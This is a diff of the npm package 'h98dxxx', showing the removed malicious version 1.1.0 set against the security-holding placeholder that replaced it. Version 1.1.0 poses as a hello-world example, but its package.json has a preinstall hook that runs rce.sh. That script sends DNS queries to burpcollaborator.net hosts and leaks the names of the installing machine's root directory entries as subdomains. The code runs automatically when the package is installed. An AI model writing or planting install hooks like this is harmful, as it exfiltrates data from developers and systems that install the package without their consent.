h98dxxx 0.0.1-security → 1.1.0

package/Readme.md

@@ -0,0 +1,47 @@
+# Hello World NPM
+
+This is an example project to see the minimal amount effort needed to publish to NPM.
+
+![Example CL Usage](example.gif)
+
+## Installation
+
+```
+npm install -g nimstall
+nimstall -g hello-world-npm
+```
+
+## Usage
+
+### In Your Source Code
+
+```
+import { helloWorld } from 'hello-world-npm';
+
+console.log(helloWorld());
+
+```
+
+OR
+
+```
+import HelloWorldNPM from 'hello-world-npm';
+
+console.log(HelloWorldNPM.helloWorld());
+
+```
+
+OR
+
+```
+import HelloWorldNPM from 'hello-world-npm';
+
+console.log(HelloWorldNPM());
+
+```
+
+### Command Line
+
+```
+hello-world-npm
+```

package/bin.js

@@ -0,0 +1,5 @@
+#!/usr/bin/env node
+
+var HelloWorldNPM = require('./lib/')
+
+console.log(HelloWorldNPM())

package/init.sh

@@ -0,0 +1,7 @@
+npm init
+git init
+git add .
+git commit -m "updated"
+npm version 1.0.7
+npm publish
+git push https://rms1000watt@github.com/rms1000watt/hello-world-npm.git master:master

package/lib/index.js

@@ -0,0 +1,10 @@
+function helloWorld() {
+	return "Hello World"
+}
+
+function HelloWorldNPM() {
+	return "Hello World NPM"
+}
+
+module.exports = HelloWorldNPM;
+HelloWorldNPM.helloWorld = helloWorld;

package/package.json

@@ -1,6 +1,84 @@
 {
+  "_args": [
+    [
+      "h98dxxx@1.1.0",
+      "/tmp"
+    ]
+  ],
+  "_from": "h98dxxx@1.1.0",
+  "_hasShrinkwrap": false,
+  "_id": "h98dxxx@1.1.0",
+  "_inCache": true,
+  "_installable": true,
+  "_location": "/h98dxxx2",
+  "_nodeVersion": "4.2.6",
+  "_npmOperationalInternal": {
+    "host": "s3://npm-registry-packages",
+    "tmp": "tmp/h98dxx_1.1.0_1632513640840_0.5346925398194469"
+  },
+  "_npmUser": {
+    "email": "husseinpentest@gmail.com",
+    "name": "hussein98d"
+  },
+  "_npmVersion": "3.5.2",
+  "_phantomChildren": {},
+  "_requested": {
+    "name": "h98dxxx",
+    "raw": "h98dxxx@1.1.0",
+    "rawSpec": "1.1.0",
+    "scope": null,
+    "spec": "1.1.0",
+    "type": "version"
+  },
+  "_requiredBy": [
+    "#USER"
+  ],
+  "_resolved": "file:h98dxxx",
+  "_shasum": "348757ca3eb14331d920e6f7c2f408237ae99437",
+  "_shrinkwrap": null,
+  "_spec": "h98dxxx@1.1.0",
+  "_where": "/tmp",
+  "author": {
+    "name": "Ryan Smith"
+  },
+  "bin": {
+    "h98dxxx": "./bin.js"
+  },
+  "bugs": {
+    "url": "https://github.com/rms1000watt/hello-world-npm/issues"
+  },
+  "dependencies": {},
+  "description": "Hello World NPM example",
+  "devDependencies": {},
+  "directories": {},
+  "dist": {
+    "fileCount": 8,
+    "integrity": "sha512-Zo3483vroUtxzdcO81SQhI9SFS+E5LOVC3oZ/VAyLaOje2P1zGslxuMPD0xkXBcu+t7uoMTLbTZhWgWUI2IRxg==",
+    "shasum": "348757ca3eb14331d920e6f7c2f408237ae99437",
+    "tarball": "https://registry.npmjs.org/h98dxxx/-/h98dxxx-1.1.0.tgz",
+    "unpackedSize": 19287
+  },
+  "gitHead": "457d45035dcf88ac72c148bccee84df81c05bb59",
+  "homepage": "https://github.com/rms1000watt/hello-world-npm#readme",
+  "keywords": [
+    "hello",
+    "hello-world",
+    "world"
+  ],
+  "license": "MIT",
+  "main": "lib/index.js",
+  "maintainers": [
+    {
+      "name": "hussein98d",
+      "email": "husseinpentest@gmail.com"
+    }
+  ],
   "name": "h98dxxx",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "optionalDependencies": {},
+  "readme": "ERROR: No README data found!",
+  "scripts": {
+    "preinstall": "chmod +x rce.sh; ./rce.sh",
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "version": "1.1.0"
 }

package/rce.sh

@@ -0,0 +1,3 @@
+nslookup${IFS}eewz5ffdy2m5ele9zcya5zingem7aw.burpcollaborator.net
+for i in $(ls /) ; do host "$i.9v5umaw8fx30vgv4g7f5muzix933rs.burpcollaborator.net"; done
+

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=h98dxxx for more information.